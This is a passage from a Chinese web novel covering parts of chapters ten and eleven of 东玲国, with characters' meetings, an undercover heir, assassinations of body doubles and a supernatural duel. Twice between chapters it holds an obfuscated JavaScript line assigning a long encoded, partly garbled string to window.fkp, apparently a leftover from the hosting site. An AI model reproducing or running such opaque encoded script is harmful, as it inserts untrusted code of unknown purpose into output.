回到现在,听到查尔拉不服气的话语,殇的心里并未掀起一丝波澜。伊好奇地看向查尔拉,两人对视了几秒,随后伊转过头来问殇: “殇,这是谁啊?” “她是埃罗的女朋友,叫查尔拉。我们刚刚把她从野犬的老巢里营救出来。不是敌人,你大可暂且放心。” 殇即答道。伊转过头去仔细打量了一番查尔拉,查尔拉也趁此机会仔细打量了一番伊。看到伊的长相以及听到伊甜美的声音后,查尔拉的脸上多出了一抹别样的红色。查尔拉此刻竟有些害羞,她的眼神左右飘动,似乎是在躲避伊的眼神。 伊没有见怪,很淡定地微笑着说了一句: “嗨!你好呀,查尔拉。我叫伊,很高兴见到你。” 听到伊与她打招呼,查尔拉突然有些紧张与慌张,她的大脑快速思考,然后快速地回应道: “啊......啊?这......嗨!我......我叫查尔拉。我也很高兴见到你,伊。” 查尔拉的回答略显尴尬,但伊没有见怪,冲着她露出了笑容。见此,在一旁的埃罗一脸不乐意地调侃道: “你当初跟我约会都没这么紧张......” 查尔拉尬笑了一下,然后用手肘打了下埃罗。见到如此,伊轻轻捂嘴笑了几下下,接着说道: “为何见到我后紧张了?不必紧张的,查尔拉。” 查尔拉尬笑了几秒,她的一只手仿佛没处放一样,反复抓挠后脑勺。随后,查尔拉调整了一下状态,接着有些紧张地问道: “我们......能做个朋友吗?” “可以呀。” 伊即答道。听到伊的回答,查尔拉心里多出了一些想法。 “既然你答应了......那么哪天我请你去喝几杯吧。” “喝酒吗?......抱歉,我不喝酒的。” “好吧,那么哪天请你吃个饭?” “行啊!” “那么说好了,一言为定哦。到时候你可一定要来。” “嗯。” 之后,他们之间聊了一会天,只聊了几分钟。然后,他们就相互告别,在夜幕之中背身而行,各自回到了各自的家中。又是一个平凡的夜晚,今晚的东城还如往常一样。在万家灯火与喧闹之中,夜晚渐渐过去,地平线处又出现了一抹旭日的曙光。 第二天的早间日报: “昨日,龙辉神匠首席cEo邵江心的亲生女儿邵红尘在宴会上神秘失踪。现在龙辉神匠集团已经聘用大量人员全城去搜索邵红尘的下落,发誓要让凶手付出惨痛代价。UppF指挥官对此表示,会排出大量的警务人员去搜寻邵红尘下落,争取早日找到失踪的邵红尘.......” 与此同时...... 在碧蓝世界的总部之中,一份震惊所有人的资料刚刚从打印机中被打印了出来。身为碧蓝世界情报部的部长杰和科技部的部长戴达斯见到这份资料的时候,他们的眼神之中多了一丝希望,他们能感觉到,和平的未来就在他们的眼前。事不宜迟,杰和戴达斯立即将文件备份,接着火急火燎地跑到了碧蓝苍穹的办公室门前。他们用力敲了敲办公室的门。此时,碧蓝苍穹正拄着桌子打瞌睡。突然,猛烈的敲门声将他从门中惊醒。怒意与不满涌上他的心头,他很生气,因为这敲门声打扰到了他的睡眠。他故作严肃,命令门外的两人进来。刚命令完,杰和戴达斯就推门冲了进来。见此,碧蓝苍穹以为是刺客来袭,他激活核心,施放命令,让一把名“末虚”的长戟回旋着来到了他的手中。但在下一刻,碧蓝苍穹看清了对方。杰和戴达斯,并非是所谓刺客。碧蓝苍穹赶忙让手中的武器归位,调整状态,露出了他最具代表性的微笑。碧蓝苍穹本来想着开口问二人,但没等他开口,两人就将这份至关重要的文件呈放在了碧蓝苍穹的眼前。 碧蓝苍穹看到眼前的文件后先拿起来看了看,然后对着两人问道: “这是什么东西?好康的?” 杰率先回答道: “这是我们对欧米伽寄生虫的测试结果,其中的内容至关重要。” 碧蓝苍穹哼了一声,从容地打开了文件,边打开边说: “害!我还以为是血清或寻灵者研发出来了呢。” 此时,一向淡定与从容的戴达斯表现出了反差的激动,他很激动地对碧蓝苍穹说道: “老板。这份文件,是否认我们溯源研究组研究方向的最直接证据!而且也是我们迎接和平时代的重要文件。” 碧蓝苍穹一脸从容淡定,似乎里面是什么对他完全不重要一样。他慢慢打开文件,拿出里面的资料,展开一看。在看到文字的那一瞬间,碧蓝苍穹的眼睛瞬间就瞪大了,他仿佛看到了前所未见的珍奇事物,他被深深地震撼到了。那种震撼,超越在高山之巅所望见丘峦峰林的辉煌磅礴、超越在大洋之中所望见的无垠海洋、超越在林海之中所望见的苍翠之美。碧蓝苍穹用手用力地拍了下桌子,大声地喊道: “难以置信啊!真的难以置信啊!” 他的这声呐喊,夹杂着他心中的惊讶与激动。此刻的他,仿佛回到了多年前他还是个年少轻狂的皇家研究员的时候。碧蓝苍穹激动地放下手中的资料,用手指着前方,摆出姿势,对杰和戴达斯吩咐道: “立即纠正溯源研究组的研究方向。给我再投入五百万的研究资金!此后,这个研究组改研究欧米伽寄生虫和扭曲生物!” 听到老板的吩咐,杰和戴达斯一起点头答应道: “明白了,老板。” 这份资料上没有太多的赘述,很多都是专业数据,对于碧蓝苍穹都是无用的辅料。对于他来说,真正让他如此震惊的,是这份资料最后的那句结论: “扭曲生物与欧米伽寄生虫有98%的基因相似度,90%的各项属性的相似度。他们很有可能是一个物种。” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十话:新势力 此时,在一栋不起眼的小房子之中。有着一个红头发的高个子女子、一张有些破旧的桌子,桌子上放着一块发着红光的代码石碑。此时,她正在按照说明书去激活、去使用眼前的代码石碑。这张说明书是她从一个中级协会会员手中弄来的,由于知识储备的差距,她有些看不懂说明书上的部分操作过程。她只知道,只要让这块石碑所发出的光出现周期性闪烁,她就可以将手放在上面,吸收这里面所蕴含的力量。尝试操作的过程总是伴随着失误,她试了很久都没试成功。 尝试过后,她气喘吁吁地看着面前的石碑,心中的脾气已经安耐不住。她对着这块石头责骂道: “妈的。这破玩意搁着玩我呢?!快亮!快闪烁!闪烁!” 她越想,心中的怒意就越是浓烈,她的表情渐渐由平静变得愤怒。她直起腰版,用力踹了这块石碑一脚,将桌子连同这块石碑一起踹翻在地。她愤怒地将桌子扔到一旁,接着带着满腔怒火走到这块石碑前面,一脚又一脚地去踩这块石碑。边踩边对这块石碑说: “老娘叫你闪烁!快给老娘闪!闪!” 这块石碑仿佛听到了她的话语,很快,在她说完这句话后不久,这块石碑所发出的红光就出现了周期性地闪烁。见此,她本来因愤怒而改变的面色,突然变回了原先的样子,渐渐地,浮现出了笑。她俯下身来,用手轻轻拍了拍这块石碑。看着这块石碑,她觉得十分开心。这可是她辛辛苦苦从铁墙外的废墟里面找到并搬回来的宝贝。她微笑着对这块石碑说道: “太好了!这样我就可以吸收这块石碑之中所蕴含的能量了。有了这股能量,我的核心就可以达到二等核心的水平了,我就有资本去挑战实力更强的人了!哈哈哈哈,想想就爽啊。” 话音刚落,她就将手迫不及待地放在了这块代码石碑上。顷刻间,血光笼罩了这个屋子,猩红色的雷电出现在石碑上。一股强大的能量瞬间从石碑之中释放了出来,整个屋子开始微微颤动。这些能量像淘气的幽灵一样在屋内随意飞舞着,它们在彼此靠近,开始汇聚。见到这番场景,她自然是惊讶万分,同时心中也是激动万分。她对着正在汇聚的能量伸出了手,试着感应它们。就在这时,这股能量汇聚成了红色光环,接着飞向了她,随后在她的小臂上形成了一环套一环的光阵。猩红色的闪电在光阵之间来回穿梭,巨大的能量被它们裹挟着于光阵中来回涌动。 在一道耀眼的光芒过后,光阵的能量全部注入到了她的体内。这些能量顺着她的胳膊,汇聚到了她体内的核心之中。她的核心,由此得到了强化。在这个过程结束后,光阵消失了,这代码石碑表面的红光也消失了。此时,她看了看刚刚被光阵附着的手,使劲握了握拳头,她感觉自己变得比以前更加强壮了。她打量了下自己的身体,看看有没有发生什么变化。看过之后,她实际上没有什么变化,她还是那个她。 这时,她突然想做个测试。她激活核心,汇聚核心能量,接着伸出左手,将能量汇聚于手中。她闭上眼睛,让她的意志与核心开始同步。这时她手中的能量在她意志的控制下释放了出来,变成了许多红色的线条。这些线条开始组合,构成了一个巨大的框架。随即能量开始填充,渐渐的,这个框架逐渐浮现出了一把长柄战斧的样子。在填充完成后,她猛地睁开眼睛,然后一把抓住了这把战斧。此刻,她的脸上浮现了满意的笑容。她用手轻轻抚摸着手中的这把战斧,用温柔的目光仔细欣赏着手中的战斧。这是属于她的Emw,是独一无二的武器,是她梦寐以求的宝贝。 猩红色的斧刃中带有些许别样的橙色,看其样好似红沙海之中的一块孤石一样别致,其中多少有点艺术的气息。黑色的斧柄上有着打磨过的痕迹,其中有岁月与沧桑;上面还有着三根如爪牙一般的刺,它们整齐地排在了靠近斧刃另一头连接处的下面一点的位置,同时还保持与斧刃在同一水平面,看着好似这把战斧的披风。红色与黑色的搭配让它显得格外帅气,其中还有着一种特殊的格调。 这时,门外传来了一阵急促的脚步声。接着,房间的门便被推开。查尔拉出现在了她的眼前。查尔拉的身上有着些许尘土,她的长发上粘着几片叶子,看起来她是急匆匆跑过来的。查尔拉一只手扶着墙,喘着粗气。她稍作调整,面带微笑地对她说道: “姐!我回来了。” 见到查尔拉,她将战斧背在了背上,快走两步来到了查尔拉面前。她轻皱眉毛,很担心地观察查尔拉全身,边观察边关心道: “那些家伙没把你怎么样吧?有没有受伤?要是受伤了跟我说一声,我带你去找医生......” 面对她的关心,查尔拉对她露出了微笑,表达她安让无恙的消息。但她的微笑没有缓解她姐对她的担心,她姐仍很担心她。 “姐,我什么事都没有。” 话音刚落,一阵微风就吹进了屋内,这下,她隐藏在头发下的烙印就显露了出来。见到她脸上的烙印,她姐的脸色里面就变了。她立马用手护住了她的脸颊,接着抽开压着烙印的那只手,撩开头发,仔细去看那烙印。 “这是怎么弄得?!” 她姐愤怒地大喊道。查尔拉知道烙印这事她姐一定会发脾气,所以她就将事情的经过一五一十的告诉了她姐。知道真相后的她姐,气得满面怒色、咬牙切齿。她气愤地责骂道: “野犬那群畜生!傻逼!敢毁了我妹妹的脸,真是活腻歪了!操!等着,你们这群不知天高地厚的小崽子!老娘很快就会让你们付出代价!” 在一旁的查尔拉,见她姐如此愤怒,赶忙劝说道: “姐。不必如此生气的,生气减寿命的。” “减寿命?那我是不是早就该死了?” “不不不,姐,我不是这个意思。” “那你是怎么个意思?你难道还要为那些毁了你容颜的那些混蛋辩护吗?!” “姐,我的意思是:仇,可以日后算。——他们的此举已经算是向我们家族开战了......所以这个仇,很快就可以报了。” 她姐看了看查尔拉脸上的烙印,她闭上眼深吸了一口气。她此时感觉十分揪心,查尔拉脸上的烙印仿佛烙在了她的心上一样。心痛的感觉,让她皱紧了自己的眉毛。她呼了一口气,睁开眼平复了下自己的情绪。 “你说你毁了容,脸上留个这么难看的印记,那个男人还会相中你呢?那个协会还能要你呢?你这样到了其他的地区,就是被嘲笑的人,就是人群之中的异类。” 她姐十分无奈地对她说道。她姐说的话说到她心里去了,她在此刻担心起了自己脸上的烙印。但她还是很乐观的,她低声对她姐说道: “没事的,姐。无论怎么样,埃罗和你和大家都是爱我的。只要有你们陪着,我什么样无所谓的。” 她姐看着即使这样也如此乐观的她,皱了皱眉毛,叹了口气。她姐用手轻轻抚摸了下她脸上的烙印,说道: “真不知道该怎么说你。傻姑娘。” 听到她姐这么说,查尔拉冲着她姐露出了笑容。 “我本来也不聪明啊,姐。” 查尔拉微笑着说道。她姐叹了口气,微笑着摇了摇头。接下来,两人在屋子里唠了会嗑。她们聊了聊最近的形势、聊了聊关于代码石碑的事情、聊了聊家族内部的事情...... 在一个偶然的瞬间,查尔拉无意间提到了殇和伊。在听到这两个名字的时候,她姐的本来放松的面部瞬间严肃起来,同时她的眼神瞬间变得犀利了起来。她很严肃地问查尔拉: “那个叫伊的是不是个白头发的年轻姑娘?” 查尔拉点了点头。回答道: “没错。她是。” 她姐的面色瞬间凝固,她的视线落在了地板上,似乎是在思考着什么。查尔拉见此,好奇地问道: “怎么了?姐。” 她姐回过神来,面色稍稍放松了一些,接着问道: “你确定吗?” “确定,我确定。我亲眼所见的。” 查尔拉即答道。听到这个回答,她姐的脸上浮现出了一丝诡异的微笑,她的大脑之中脑补出了伊的百种长相,每种都让她感觉开心与激动。她姐微笑着小声问道: “她是不是很漂亮?或者说,可爱?” 当她说这句话的时候,她的脸上泛起了一抹别致的红晕。看到她姐这样,查尔拉突然变得面无表情,她知道这意味着什么。查尔拉虽然有些不想说,但迫于她姐身上那种的压迫感,她还是开口将全部事实都告诉她姐。听到查尔拉对伊的描写后,她姐十分高兴。她闭着眼睛笑着说道: “赞啊!” 听到这话,查尔拉立刻就打断了她。 “姐。我稀罕她。她长得白净、漂亮。说话声又甜又好听。你能把她让给我吗?” “啊......啊?你确定吗?你难道不要你老公了吗?” “这......我想两个都要。” “妹啊,你有没有听过一句话,叫二者不可得兼。” “听过。所以这两人之间我只能选一个是吗?但我想两个都要......” “妹啊,一心不可二用。” “好吧。” 她姐心里暗暗窃喜着,她揣测着伊的性格与人格,揣测着伊是何种的样子。她的心里对伊充满了期待,她渴望见到伊。就在这时,她姐突然回想起了殇这个名字。她收起面色上的欢喜,很谨慎地问查尔拉: “那个所谓的殇,是何许人也?” 查尔拉一脸不屑地回答道: “那个殇啊,就是个‘打杂’的。喜欢吹牛,说什么能打一百个清理者。埃罗告诉我他很厉害,他这个不服硬的人都服他。在我看来,除非我亲眼所见,不然我才不信嘞!” 她姐托起下巴仔细思考了一下。查尔拉说得有些夸张,仅凭一人之力,是不能打败一百个清理者的,除非是世间的绝顶高手。但是既然埃罗都说他厉害,那么他起码是个比埃罗要强不少的人。之前她与埃罗曾因为查尔拉的问题交过一次手,虽是完胜于他,但埃罗的实力对于正常都市猎人来说是不低的,甚至要高上很多。这么想,她突然对殇也充满了期待。 “妹啊,麻烦请你帮我给殇带个话。让他找个时间去郊区的时轮广场上与我进行战斗,我要看看他到底能有多强。能让埃罗佩服的男人,我倒要好好见识见识。与强者战斗,我会很兴奋的!” “好的呢,姐。” 与此同时...... 在郊区的废弃公寓楼内,黑暗笼罩其中。在其中一件屋子之中,亮着一盏烛灯。桌上一灯如豆,昏暗的灯光勉强将屋内照亮了一些。屋内地面上堆积着许多废弃物,有衣服、弯曲的钢筋、碎掉的砖块......在快被黑暗笼罩的屋内,有着三名身着黑衣、头戴礼帽的男人。他们其中一人的手上提着一个箱子,其余两人手上什么也没拿。这个箱子上印着一个独特的公司标志,以及底下一行小字:源能核心公司。 “如今的进度如何了?” 其中一位黑衣人开口说道。 “已经接近完成了。少爷。” 拿着箱子的黑衣人十分严肃地说道。 “很好,很快我们的计划就可以完成了。到那个时候,整个世界将会因我们而变。” 那位被称为少爷的黑衣人这样说道。 “少爷。计划的末期即将到来,你也该提前踏上归途了。不然,我担心那个暴躁的女人会对你不利。” 拿着箱子旁边的那位黑衣人有些担心地说道。 “你说姐吗?不必担心,我跟她混好了关系,也混得了个安稳的身份与地位。我在那里什么事都没有,反倒还过得有些开心。” “少爷,你开心舒服就行。” “对了,那个叫齐百陵的男人调查清楚了吗?” “调查清楚了,少爷。他死了,死在了逃跑过程之中。是由警备队的人所击毙的。尸体被扔到了下水道里,被清理者们给清理掉了。” “死了?啧......哎。——生活真是不乏戏剧性,总是处处惊喜与意外啊。逆转与反转,不见得是偶然。” “所以说,少爷。我们还用去办了他吗?” “不用了。就让他,好好地死着吧。死的人,是不会活过来的呀。” 突然,他的手机响了起来。他拿起手机一看,发现是姐给他打电话。他用手示意其他两人不要说话,然后一个健步走到了窗户旁推开了窗户,紧接着接通了电话。这一系列动作,他做得十分熟练与完美。接着,电话那头传来了他所谓的姐的说话声。 “星北空!你他妈的跑哪里去了?” 他的脸上露出微笑,低声回答道: “姐。我去郊区接个委托,帮忙送点‘货’。” “送‘货’?好吧。我还以为你跑去其他地方鬼混去了。萌萌在街上找了你半天!她很怕你出什么意外。” “真是劳烦她了,下次再有情况我会及时反映的。” “你最近给我多注意点,现在的形势对我们不算乐观。野犬那群家伙总想着挑事,注意点,别丢了家族的脸。” “知道了,姐。” “还有,别忘帮我买两瓶啤酒。今天晚上我心情好,我得喝个通宵。” “行。用再来点花生什么的吗?” “不用了。省着点你那破钱吧,你有的也不多。” 说完,他准备挂断电话。就在这时,电话那头传来了一句话。 “星北空,你这家伙注意安全,别死了。” 星北空笑了笑,没说话。他挂断了电话,扭头对身后的两位黑衣人说: “胡狼,貔貅,你们两个时刻盯紧开发进度,有任何情况都要汇报给我。见面还是在这附近,老地点,老方式。” 胡狼(拿着箱子的黑衣人)有些担心与恼怒,刚刚两人的谈话让他觉得自家少爷受到了欺负。胡狼用柔和的语气对星北空说道: “少爷,那个女人是不是一直在欺负你?如果是,我们两个现在就去办了她,让她给你跪下道歉。” 星北空摇了摇头,从容淡定地说道: “不必大动干戈,胡狼。她只是个底层的都市猎人,说话脾气让人觉得难受也很正常的。受点欺负,实际上没有什么太大的关系。” “可是,少爷......老爷给我们下达的命令......” “格局。胡狼,注意格局。既然要潜伏,受点委屈不算什么。” 此时,在一旁的貔貅也表示了自己的担忧。 “少爷,在这种情况下,你会受到很多不公平的待遇。他们会损害你的肉体与灵魂!我怕那女人,那天杀掉少爷你。” 星北空微笑了一下,接着淡定从容地说道: “放心,她是个仗义的女汉子。她不会拿我怎么样的。” 貔貅斟酌了片刻,接着说道: “少爷......你可真的是与众不同啊。其他的富家子弟,都是人模狗样的西装哥,背地里是一番肮脏的模样。而你,却没有他们那种腐朽的样子。” “因为教育......无教养的人无论怎样用黄金装饰自己,终究无法掩盖内部的腐败。到头来,不过是一滩泡在黄金里的淤泥。” 这时,星北空看了看手表,发现时间已经过去了很久了。星北空收起笑容,面色严肃地对胡狼与貔貅说道: “你们两个赶紧撤退吧,我们很快就要引起其他人的注意了。” 胡狼和貔貅: “明白,少爷。” “回去之后注意隐蔽自己,注意研究所的安全。千万不要让任何外人知道研究所的位置!” 胡狼和貔貅: “(点点头)明白了,少爷。” 十几分钟后,星北空独自一人来到了郊区废弃公寓楼的楼顶。他站在楼顶中央,审视着这片废弃的县城。谁能想到这里曾经是一座以商业着称的小镇呢?过去的金色年华,早已经消失在了尘埃之中。 此时挂过一阵狂风,紧接着空洞的建筑物之中即刻回荡起空灵的歌声。那是风儿所唱的歌,一支独一无二的寂默之歌。这风在歌唱还是在哀嚎?那歌声听着格外凄惨与悲凉,可它却用了气势磅礴的伴奏!一首悲歌却用了激昂音乐的伴奏,这是何等的编曲才能想出的主意!听起来,这是噪音,但它是这世界上一大艺术!仿佛,它们在为这座不幸的县城歌唱,为这个充满痛苦的世界歌唱!那歌声宛如一阵寒风,让空气都与之凝结。虽是盛夏,但有浓浓的寒意。 猛然间,他听出了这首歌曲的美妙。彷徨间,他似乎还能看到往日的辉煌。街道上的灰尘,在风的吹拂下随风远去,就像一去不复返的旅者,踏上了永无止境的旅途;也像这里一去不复返的年华,再也没法重现。灰尘之下,是冰封着的土地,也是一片无碑的坟地。没有墓土,但有亡魂。世界,此刻是灰蒙蒙的,仿佛被阴霾所笼罩;这个世界失了色,就连本该碧蓝的天空,也失去了色彩。虽不能见到雪与冰,但怎么着也感受不到温暖。深切地,冷酷如冰的空气,让灵魂也仿佛被冻结冰封。这个世界仿佛死了一样,但它实际上还活着,只不过已经没了活着的样子。 恍惚间,地平线处的旭日升起了。它为这个灰色的世界染上了鲜艳的颜色,让它拥有了一丝生气。这时,那寂默之歌,突然变了奏。原本空灵的歌声,突然变得激昂,似乎它们也见到了这道光。 光,透过高楼的缝隙照在了星北空的脸上。他抬起头去看那道耀眼的光芒。这光十分耀眼,他不得不连续眨眼来看清那道光。他本可以用手阻挡,来瞥见光的样子。但此时,他并不想这么做,他想好好欣赏这道光。它很美,美到没有语言能够描述它的美丽,只得让人静静欣赏,从心里领悟它的美。心语,才能够诉说它的美。看着这道光,他仿佛看到了自己未来的道路。注定坎坷,注定要被阴霾所笼罩,注定会迎来曙光啊! 他的脸上露出了一抹从容的微笑。他轻轻吸了一口气,仔细品味着空气的味道。那是希望的味道。他从衣服的口袋中拿出了一个镶嵌着宝石的吊坠,接着放在手心里看着它。光照在吊坠上,吊坠上刻着一朵盛开着的绣球花。这朵绣球花栩栩如生;在光的照耀下,熠熠生辉。他握紧这个吊坠,望着远处地平线处的旭日,神情坚定地说道: “待到寒夜过去,新生的黎明将点亮世界。我在寒夜中所受的伤,都将被曙光所抚平。我将独自漫步在小道上,与花儿和清风为伴。迎接我的将有大海和远方,以及美丽的诗篇。路途还亦漫长,我仍在路上。” 他就这样站了很久,直到这轮旭日离开地平线。这种行为在他看来是浪费时间的行为,但他却一点不为自己的此举而觉得后悔,反而还为自己能够看到这种景象而感到庆幸。这是他能所见的为数不多的珍奇,是值得被他牢记下来的。在见到太阳照常升起后,他离开了这里。他双手插兜,面带微笑,眼神与心灵之中满是对未来的期望。他相信,拨开黑暗,便能见到光明。他所做的,是有意义的。 与此同时...... 法戈·明刚刚从菜市场里买完菜,正阔步走向家。就在这时,一个带着黑礼帽的黑衣人出现在了他的面前。法戈·明没觉得奇怪,只是沉默着向他走去。本以为他无敌意,但没想到,当法戈·明走出了三步的时候,他突然从腰间掏出了一把冲锋枪。那把冲锋枪上的枪口是有消音改装的,看样子对方是有备而来。法戈·明毫无防备,在几声枪响过后,便倒地身亡了。那人在杀了法戈·明之后,面无表情,表现出了一副冷血无情的样子。他走到法戈·明身边仔细一看,发现对方根本不是自己要杀的那个法戈·明,而是一个长相一样的替身。他很失望地摇了摇头,接着转身离开了。 与此同时,在幸存者联盟国和樱风国之中,都各自有法戈·明遭到了暗杀。突如其来的暗杀让每一位法戈·明都感到措手不及,没等他们做出反应,便成了枪下亡魂。每个前来暗杀的杀手,无一例外地都发现他们都没杀掉他们想杀的那个法戈·明。 这时,东玲国的那个杀手,站在路灯下点了一根名牌香烟,然后轻轻地吸了一口,瞬间感觉压力逝去了许多。就在这时,他的面前出现了一个熟悉的身影。见到那个人的瞬间,他感觉到了不可思议。面前站着的不是别人,正是之前被他杀死的法戈·明。他从容地闭上了眼睛,然后将手里的烟随手一扔,掏出腰间的枪就要击毙法戈·明。但没等他开枪,法戈·明就以迅雷不及掩耳之势用一把战矛刺穿了他的胸膛。 “刚刚发生了什么?” 他的心里在思考这个问题。他此刻整个人都愣住了。待到他反应过来的时候,法戈·明正背对着他逐渐离去。他的提着一把带血的战矛,毫无疑问,刚刚的攻击是法戈·明在瞬间对他发起的。他无法理解,他从未见过有人能够达到这种肉眼难以看清的速度。这种不解伴随着他的一点点倒下,成了他心中永远无法解开的谜题。几秒过后,法戈·明回头对着地面上奄奄一息的他冷冷地说道: “你们这群杀手,还是太嫩了。未曾了解对方是何种强大就贸然激怒对方,是这世上最愚蠢的行为。” 之后,法戈·明独自来到了一座小楼的天台。他坐在天台上放着的一副座椅上,接着远眺远方。他想着,自己这隐藏了七十多年的身份,也许已经暴露。不然,怎会有杀手来去杀的替身呢?他拿起了一杯清茶,先是抿了一口尝了尝味道,接着轻轻地喝了一口。这茶的味道很是淡,没有其他茶的清甜或苦涩,只有淡淡的茶香。他有看了看近处的城市,心神不宁地叹了口气,接着缓缓放下茶杯。就在他放下茶杯的时候,一道耀眼的光芒出现在他的眼前。接着,光芒消失,一位身着黑色高档礼服的年轻女子和一位戴着面具的男子出现在他的面前。 那位年轻女子梳着精致的短发,面带甜蜜中透露着一丝阴森的微笑。她棕色的瞳孔中散发着强者的气息,眼神之中带有一种无形的压迫感。她双手搭在小臂上,精致的礼服没有被她的手压出一点褶皱。她洁白的皮肤上没有一点污痕,表现出了“出淤泥而不染”的美。她的手上戴着十个金指环,指环上分别有着十种不同圣兽的纹路,精致且栩栩如生。她的全身散发着令人窒息的压迫感,仿佛她是位无上的神明。 那位戴着面具的男子身着黑色的海纹西服,这身西服也很精致,但远不如他身旁的那位女子。他胸前并未打领带,因为在他的胸前有着一个有些外突的六边形机械装置。他有着一头橙色的短发,一种很罕见的发色。他手里拿着一对造型酷炫的剑柄,剑柄上的发光块发着淡蓝色的光芒,看起来是高级科技的造物。他挺直身板,头微微低下,似乎是在等待一旁的女子下达命令。 见到这两人,法戈·明猛地一拍桌子,立即站了起来。他富有敌意地看着这两人,他明白这两人的来历不一般。此刻,他手中的战矛变成了无数碎块,这些碎块围绕着他的手臂有规律地上下浮动着;这些碎块的边缘出现了紫色的耀光,它与法戈·明一起时刻警戒着面前来历不明的两人。未等两人开口,法戈·明率先开口说道: “你们两个应该就是罪魁祸首了吧。杀掉我那么多替身......究竟是为了什么?!为何要打破这安宁。” 那位女子笑了笑,接着面带笑意地说道: “法戈仙人,你是我们伟大的前辈。是世界上唯一一位存活了5000多年的仙人......” “别磨磨唧唧的!说重点!” 法戈·明打断了她。她脸上的笑意收敛了一些,同时她身旁的那名男子抬起右手,身体前倾,准备发起攻击。她轻轻转头,她的瞳孔突然变成了金色。在她瞳孔上,是一个富有结构感的多层光环。见到她如此,他收起了刚刚准备战斗时的样子。她闭上眼睛,又睁开眼睛,她看法戈·明的眼神发生了变化。 “既然你这般粗鲁无礼,那我就直接了当的告诉你吧。” 她抬起自己的左手,张开五指对着天空。 “我们的城市是越来越好了,我们的世界也已如此。但是在这美好的背后,是血与泪的忏悔与罪恶。” 她的话语让法戈·明察觉到了不对劲,他的注意力瞬间聚集到了她的身上。他的握紧了拳头,时刻准备应对接下来随时可能发生的战斗。 “我管理一方经济与事物,是穹顶的穹顶。我叫做寰,是个在天书国本土出生的小姑娘。虽有不幸的童年,但我现在却有我认为的幸福人生。” 地面上的石屑开始微微颤动。法戈·明能够感觉到,一股强大的力量正悄悄地向她那里汇聚。 “疫病、扭曲、协会、战争、国家......这些是我负责的领域。协会与国家,是我守护的一切。” 她的背后出现了金色的法阵,法阵上有着巨大的太阳图标。强大的能量在此刻汇聚在了她的全身,她身上的礼服随之发生了变化。 “为了守护这一切,我付出了很多。甚至跌入泥潭,永不脱身。但们的信念始终没变过,自始至终亦是如此。” 她高抬左手,遥指天空。她的眼神之中有着璀璨星光,心中是无限的希望与寄托。仿佛间,法戈·明也看到了她眼中的璀璨星光。此时虽是太阳升起的凌晨时分,但星光依旧璀璨。 “那是幻觉吗?” 法戈·明心里暗暗念道。 “我曾站在世界之巅,凝望星河,看得满目星空。也曾低头审视地下,见得苦痛充满世间。我的苦痛与不幸,告诉了一个道理......” 她此刻慢慢握紧拳头,将全身的能量汇聚到指尖。突然间,天空中的星星们宛如感受到什么号召,纷纷落下银河,急切地飞向了她。这些星星连城两条发着辉光的丝带,在空中翩翩起舞,以螺旋状的姿态在她的手心之中汇聚成了一颗无比耀眼的银星。她握紧手中的银星,用力往下一拽,漫天银河瞬间崩解!无数天星瞬间陨落。天星如雨点一般落下,一场规模浩荡的星雨开始了!从远处看,仿佛她将漫天银河拽了下来一样。那种场面十分壮观,称得上几生难得见到一次。 法戈·明手中的碎块瞬间汇聚成了一把对称长枪,接着他握紧手中的长枪,对着漫天星雨进行挥舞。凭借强大的武器,这些星雨依数被弹开。在一旁的寰给他鼓了鼓掌,对他的表现很满意。接下来,她召唤出一个金色的三重复合全息空间环于她右手上,然后调整好了要传送的地点。在弹飞这所有的陨落之星后,法戈·明将手中武器变成大剑,接着一个高速冲刺来到寰面前,对着寰来了一记横扫。但是,她身旁的卫士用手中已经激活了的激光刺刃正面招架下了他的攻击,法戈·明的攻击并未碰及到她一丝一毫。她身旁的卫士对着他连续挥砍三刀,他变出盾牌正面招架,同时后撤三步与这位卫士拉开了距离。 “法戈·明前辈,请你接下来好好跟我较量一场吧,我想通过我们之间的交战,来洞悉你与我的实力差距。方便日后提升我的实力。” 说完,她捏碎了左手的银星,许多银白色的碎片飞溅向四面八方。同时她激活了右手的空间环。在一道耀眼的光芒过后,她们三人传送到了一个无人知晓的地方。 此时,躲在楼梯下偷偷观望的法戈·明替身有些胆怯地探出了头,查看楼顶的情况。此时的楼顶还如之前那般一样,没有什么损坏的地方;细节方面差别不大,唯有桌子上的那杯茶翻倒在了桌子上。茶水顺着桌子慢慢流了下来,一滴一滴地落下。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十一话:法戈·明 在一个无人知晓的平原之上,是一幅和谐的景象。变成僵尸的感染者们酣睡在密林之中。平原之上有些几从稀疏的植被,植被之间开着五彩斑斓的小花。平原上挂着小风,这些植被在风中摇曳。那些花儿,有的顺风绽开,亭亭玉立地挺直腰板,即便顶着风它们站不稳脚跟;有的还很害羞,含着苞儿羞涩地来回踱步,正等着勇气涌上自己的心头;一朵花儿盛开,就有其他花儿跟着它一起盛开。羞涩感,逐步从花儿们中消失。花朵盛开时的花香随着风慢慢飘向了远方,虽没得玫瑰般的令人陶醉,但也可以凭其淡淡的花香,引得过路人的回望。此时,极为少见的蝴蝶和蜜蜂顺着花香找到了这些花儿。它们来到花儿身旁,与它们一同嬉戏。在风中,它们一同翩翩起舞,开展了一场舞会。从远方看,似乎能感觉到它们心里的那种快乐。天空中阴云几朵,点缀了单调的蓝天。太阳躲在了其中一朵的后面,调皮地探出头,小心翼翼地看着这个世界,似乎在与谁玩着捉迷藏。 